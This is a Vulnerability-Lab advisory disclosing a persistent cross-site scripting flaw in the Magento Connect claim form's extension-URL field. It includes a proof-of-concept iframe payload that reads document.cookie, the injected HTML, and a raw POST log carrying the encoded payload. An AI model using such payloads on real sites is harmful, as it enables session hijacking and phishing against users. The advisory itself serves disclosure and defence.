Document Title:
===============
Magento Connect T1 - (Claim) Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1469
Release Date:
=============
2018-01-08
Vulnerability Laboratory ID (VL-ID):
====================================
1469
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side cross site scripting web vulnerabilityin the Magento Connect web-application.
Vulnerability Disclosure Timeline:
==================================
2018-01-08: Non-Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
An application-side cross site scripting web vulnerability has been discovered in the official Magento Connect web-application.
The vulnerability allows remote attackers to inject own script code on the application-side of the affected application module.
The vulnerability is located in the `claim%5Bclaimed_extension_url` value of the `magento-connect/claim/claim/new/` module.
Remote attackers are able to inject own script code on the application-side of the service to compromise user/moderator/admin
session data. The request method to inject is POST and the attack vector is located on the application-side of the affected module.
Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source
and persistent manipulation of affected or connected application modules (api).
Request Method(s):
[+] POST
Vulnerable Service(s):
[+] Magento Connect
Vulnerable Module(s):
[+] magento-connect/claim/claim/new/
Vulnerable Parameter(s):
[+] claim%5Bclaimed_extension_url
Proof of Concept (PoC):
=======================
The persistent vulnerability in the exception handling can be exploited by remote attackers without privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Surf to http://www.magentocommerce.com/magento-connect/claim/claim/new/
2. In the Enter a link to the extension on Connect you believe violates our terms. write ...
Note: Payload "><iframe src="javascript:alert(document.cookie)"></iframe>
3. Successful reproduce of the security vulnerability!
POC: Exception Handling
<div class="m_input_box w85p error"><!-- add class 'error' to show error message-->
<label for="link" class="required">Enter a link to the extension on Connect you believe violates our terms. </label>
<input id="link" name="claim[claimed_extension_url]" value="" type="text"><iframe src="javascript:alert(document.cookie)"></iframe>">
<span class="error_txt">Required field. Example: http://www.magentocommerce.com/magento-connect/extension-name</span>
</div>
--- PoC Session Logs [POST] ---
POST http://www.magentocommerce.com/magento-connect/claim/claim/new/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[71413]
Mime Type[text/html]
Request Headers:
Host[www.magentocommerce.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Referer[http://www.magentocommerce.com/magento-connect/claim/claim/new/]
Cookie
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Post Data:
claim%5Bclaimed_extension_url%5D[%22%3E%3Ciframe+src%3D%22javascript%3Aalert%28document.cookie%29%22%3E%3C%2Fiframe%3E]
claim%5Boriginal_extension_url%5D[]
claim%5Bdescription%5D[]
claim%5Bdigital_signature%5D[]
Response Headers:
Server[nginx]
Content-Type[text/html; charset=UTF-8]
Connection[keep-alive]
P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Set-Cookie[frontend=4edl2ftb4c6qoe11lieojciaj7; path=/magento-connect/; domain=www.magentocommerce.com]
Content-Length[71413]
Security Risk:
==============
The security rsik of the application-side input validation web vulnerability is estimated as medium. (CVSS 3.8)
Credits & Authors:
==================
Vulnerability-Lab [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
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